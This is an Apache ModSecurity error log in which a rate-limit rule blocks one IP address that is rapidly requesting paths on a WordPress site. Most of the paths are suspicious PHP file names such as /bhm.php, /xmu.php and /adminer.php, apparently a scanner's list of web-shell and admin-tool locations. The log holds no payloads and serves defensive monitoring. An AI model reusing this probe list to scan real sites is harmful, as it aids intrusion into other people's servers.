[Thu Apr 23 16:12:33.417640 2026] [:error] [pid 64998:tid 65009] [client 20.216.153.175:6123] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aenUcYV5EysYcTLjmwjqdAAAAcc"]
[Thu Apr 23 16:12:33.947706 2026] [:error] [pid 43083:tid 43099] [client 20.216.153.175:32595] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vuln.php"] [unique_id "aenUcTC5hrvNXosL83JR7QAAAM4"]
[Thu Apr 23 16:12:34.701635 2026] [:error] [pid 42973:tid 43048] [client 20.216.153.175:22859] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vuln.php"] [unique_id "aenUcm6I0QqmmmLTHE3CpwAAAIU"]
[Thu Apr 23 16:12:35.507890 2026] [:error] [pid 59700:tid 59713] [client 20.216.153.175:28755] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aenUc5XyGZJFeAIDWtnoPwAAAUs"]
[Thu Apr 23 16:12:35.529638 2026] [:error] [pid 64998:tid 65020] [client 20.216.153.175:32668] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aenUc4V5EysYcTLjmwjqeAAAAdI"]
[Thu Apr 23 16:12:36.279190 2026] [:error] [pid 42973:tid 43046] [client 20.216.153.175:64627] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aenUdG6I0QqmmmLTHE3CqQAAAIM"]
[Thu Apr 23 16:12:37.558815 2026] [:error] [pid 42971:tid 42998] [client 20.216.153.175:22883] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aenUdTEP2_5RswrH8bEK7AAAAAw"]
[Thu Apr 23 16:12:37.589507 2026] [:error] [pid 42971:tid 43005] [client 20.216.153.175:35822] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aenUdTEP2_5RswrH8bEK7QAAABM"]
[Thu Apr 23 16:12:38.548693 2026] [:error] [pid 25635:tid 25660] [client 20.216.153.175:63673] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aenUdsRxv6UsgRGKB3IdagAAARU"]
[Thu Apr 23 16:12:39.400336 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:22888] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aenUd8OAb-3sOknsk4fHpQAAAFU"]
[Thu Apr 23 16:12:39.746931 2026] [:error] [pid 65000:tid 65048] [client 20.216.153.175:31712] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-bda.php"] [unique_id "aenUd76vRb9j6psK2Za8ogAAAg8"]
[Thu Apr 23 16:12:40.347871 2026] [:error] [pid 42972:tid 43029] [client 20.216.153.175:31704] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aenUeMOAb-3sOknsk4fHqgAAAE0"]
[Thu Apr 23 16:12:40.438072 2026] [:error] [pid 42972:tid 43028] [client 20.216.153.175:31739] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-bda.php"] [unique_id "aenUeMOAb-3sOknsk4fHqwAAAEw"]
[Thu Apr 23 16:12:41.248396 2026] [:error] [pid 43083:tid 43106] [client 20.216.153.175:19290] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aenUeTC5hrvNXosL83JR8wAAANU"]
[Thu Apr 23 16:12:41.335162 2026] [:error] [pid 65000:tid 65049] [client 20.216.153.175:19246] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-bda.php"] [unique_id "aenUeb6vRb9j6psK2Za8owAAAhA"]
[Thu Apr 23 16:12:42.175297 2026] [:error] [pid 65000:tid 65029] [client 20.216.153.175:16619] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-bda.php"] [unique_id "aenUer6vRb9j6psK2Za8pAAAAgA"]
[Thu Apr 23 16:12:42.616030 2026] [:error] [pid 42971:tid 43006] [client 20.216.153.175:31689] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aenUejEP2_5RswrH8bEK8AAAABQ"]
[Thu Apr 23 16:12:42.950909 2026] [:error] [pid 42973:tid 43055] [client 20.216.153.175:63668] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bhm.php"] [unique_id "aenUem6I0QqmmmLTHE3CtAAAAIw"]
[Thu Apr 23 16:12:43.795300 2026] [:error] [pid 65000:tid 65040] [client 20.216.153.175:33942] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aenUe76vRb9j6psK2Za8pQAAAgc"]
[Thu Apr 23 16:12:44.005304 2026] [:error] [pid 46953:tid 46959] [client 20.216.153.175:31716] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bhm.php"] [unique_id "aenUfEnlpdHh-P6wKboGFgAAAkM"]
[Thu Apr 23 16:12:44.825831 2026] [:error] [pid 65000:tid 65052] [client 20.216.153.175:19812] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bhm.php"] [unique_id "aenUfL6vRb9j6psK2Za8pgAAAhM"]
[Thu Apr 23 16:12:45.174917 2026] [:error] [pid 64967:tid 64992] [client 20.216.153.175:44388] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aenUfYAV4GfOOdX8QzpX4gAAAZc"]
[Thu Apr 23 16:12:45.687470 2026] [:error] [pid 25635:tid 25648] [client 20.216.153.175:52543] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bhm.php"] [unique_id "aenUfcRxv6UsgRGKB3IdawAAAQk"]
[Thu Apr 23 16:12:46.110284 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:16621] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aenUfsOAb-3sOknsk4fHrwAAAEE"]
[Thu Apr 23 16:12:46.476764 2026] [:error] [pid 42972:tid 43031] [client 20.216.153.175:22880] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmu.php"] [unique_id "aenUfsOAb-3sOknsk4fHsAAAAE8"]
[Thu Apr 23 16:12:47.243487 2026] [:error] [pid 42972:tid 43033] [client 20.216.153.175:63593] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aenUf8OAb-3sOknsk4fHsgAAAFE"]
[Thu Apr 23 16:12:47.250319 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:33920] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmu.php"] [unique_id "aenUf8OAb-3sOknsk4fHswAAAEs"]
[Thu Apr 23 16:12:48.235817 2026] [:error] [pid 64998:tid 65009] [client 20.216.153.175:19825] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmu.php"] [unique_id "aenUgIV5EysYcTLjmwjqfwAAAcc"]
[Thu Apr 23 16:12:48.732363 2026] [:error] [pid 42973:tid 43044] [client 20.216.153.175:63566] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aenUgG6I0QqmmmLTHE3CuQAAAIE"]
[Thu Apr 23 16:12:48.943492 2026] [:error] [pid 65000:tid 65053] [client 20.216.153.175:31741] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmu.php"] [unique_id "aenUgL6vRb9j6psK2Za8rAAAAhQ"]
[Thu Apr 23 16:12:49.626120 2026] [:error] [pid 64998:tid 65024] [client 20.216.153.175:35811] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aenUgYV5EysYcTLjmwjqggAAAdY"]
[Thu Apr 23 16:12:49.695350 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:19809] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ref.php"] [unique_id "aenUgW6I0QqmmmLTHE3CuwAAAJE"]
[Thu Apr 23 16:12:50.465876 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:52488] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ref.php"] [unique_id "aenUgsOAb-3sOknsk4fHvgAAAEE"]
[Thu Apr 23 16:12:50.530496 2026] [:error] [pid 42972:tid 43031] [client 20.216.153.175:19267] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aenUgsOAb-3sOknsk4fHvwAAAE8"]
[Thu Apr 23 16:12:51.420710 2026] [:error] [pid 59700:tid 59726] [client 20.216.153.175:41158] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ref.php"] [unique_id "aenUg5XyGZJFeAIDWtnoQwAAAVg"]
[Thu Apr 23 16:12:51.581315 2026] [:error] [pid 46953:tid 46978] [client 20.216.153.175:63582] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aenUg0nlpdHh-P6wKboGFwAAAlU"]
[Thu Apr 23 16:12:52.398661 2026] [:error] [pid 59700:tid 59705] [client 20.216.153.175:19789] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-bda.php"] [unique_id "aenUhJXyGZJFeAIDWtnoRgAAAUM"]
[Thu Apr 23 16:12:52.493326 2026] [:error] [pid 64998:tid 65025] [client 20.216.153.175:52538] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ref.php"] [unique_id "aenUhIV5EysYcTLjmwjqhQAAAdc"]
[Thu Apr 23 16:12:53.388783 2026] [:error] [pid 64998:tid 65019] [client 20.216.153.175:19782] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-bda.php"] [unique_id "aenUhYV5EysYcTLjmwjqhgAAAdE"]
[Thu Apr 23 16:12:53.650423 2026] [:error] [pid 42972:tid 43025] [client 20.216.153.175:6134] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aenUhcOAb-3sOknsk4fHwwAAAEk"]
[Thu Apr 23 16:12:54.598740 2026] [:error] [pid 65000:tid 65055] [client 20.216.153.175:16587] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-bda.php"] [unique_id "aenUhr6vRb9j6psK2Za8sQAAAhY"]
[Thu Apr 23 16:12:54.640586 2026] [:error] [pid 42973:tid 43049] [client 20.216.153.175:63664] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aenUhm6I0QqmmmLTHE3CxQAAAIY"]
[Thu Apr 23 16:12:56.235941 2026] [:error] [pid 42973:tid 43051] [client 20.216.153.175:31733] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-bda.php"] [unique_id "aenUiG6I0QqmmmLTHE3C5AAAAIg"]
[Thu Apr 23 16:12:56.392811 2026] [:error] [pid 42973:tid 43065] [client 20.216.153.175:45009] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aenUiG6I0QqmmmLTHE3C6gAAAJY"]
[Thu Apr 23 16:12:56.941308 2026] [:error] [pid 42973:tid 43043] [client 20.216.153.175:16589] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bhm.php"] [unique_id "aenUiG6I0QqmmmLTHE3C9AAAAIA"]
[Thu Apr 23 16:12:57.541271 2026] [:error] [pid 65000:tid 65051] [client 20.216.153.175:63624] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aenUib6vRb9j6psK2Za8swAAAhI"]
[Thu Apr 23 16:12:57.722125 2026] [:error] [pid 59700:tid 59704] [client 20.216.153.175:19295] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bhm.php"] [unique_id "aenUiZXyGZJFeAIDWtnoSQAAAUI"]
[Thu Apr 23 16:12:58.805818 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:31729] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bhm.php"] [unique_id "aenUisOAb-3sOknsk4fHxwAAAEg"]
[Thu Apr 23 16:12:59.652007 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:44366] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bhm.php"] [unique_id "aenUi26I0QqmmmLTHE3DEgAAAJE"]
[Thu Apr 23 16:13:00.469854 2026] [:error] [pid 65000:tid 65056] [client 20.216.153.175:63631] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmu.php"] [unique_id "aenUjL6vRb9j6psK2Za8tAAAAhc"]
[Thu Apr 23 16:13:01.181110 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:6131] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmu.php"] [unique_id "aenUjcOAb-3sOknsk4fHyQAAAFc"]
[Thu Apr 23 16:13:02.427990 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:19268] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmu.php"] [unique_id "aenUjsOAb-3sOknsk4fH0AAAAFM"]
[Thu Apr 23 16:13:03.291708 2026] [:error] [pid 64998:tid 65006] [client 20.216.153.175:52534] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmu.php"] [unique_id "aenUj4V5EysYcTLjmwjqjgAAAcQ"]
[Thu Apr 23 16:13:04.172078 2026] [:error] [pid 42973:tid 43045] [client 20.216.153.175:52482] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ref.php"] [unique_id "aenUkG6I0QqmmmLTHE3DFwAAAII"]
[Thu Apr 23 16:13:05.018054 2026] [:error] [pid 42973:tid 43057] [client 20.216.153.175:44383] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminer.php"] [unique_id "aenUkW6I0QqmmmLTHE3DGwAAAI4"]
[Thu Apr 23 16:13:05.128962 2026] [:error] [pid 42973:tid 43043] [client 20.216.153.175:41169] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ref.php"] [unique_id "aenUkW6I0QqmmmLTHE3DHAAAAIA"]
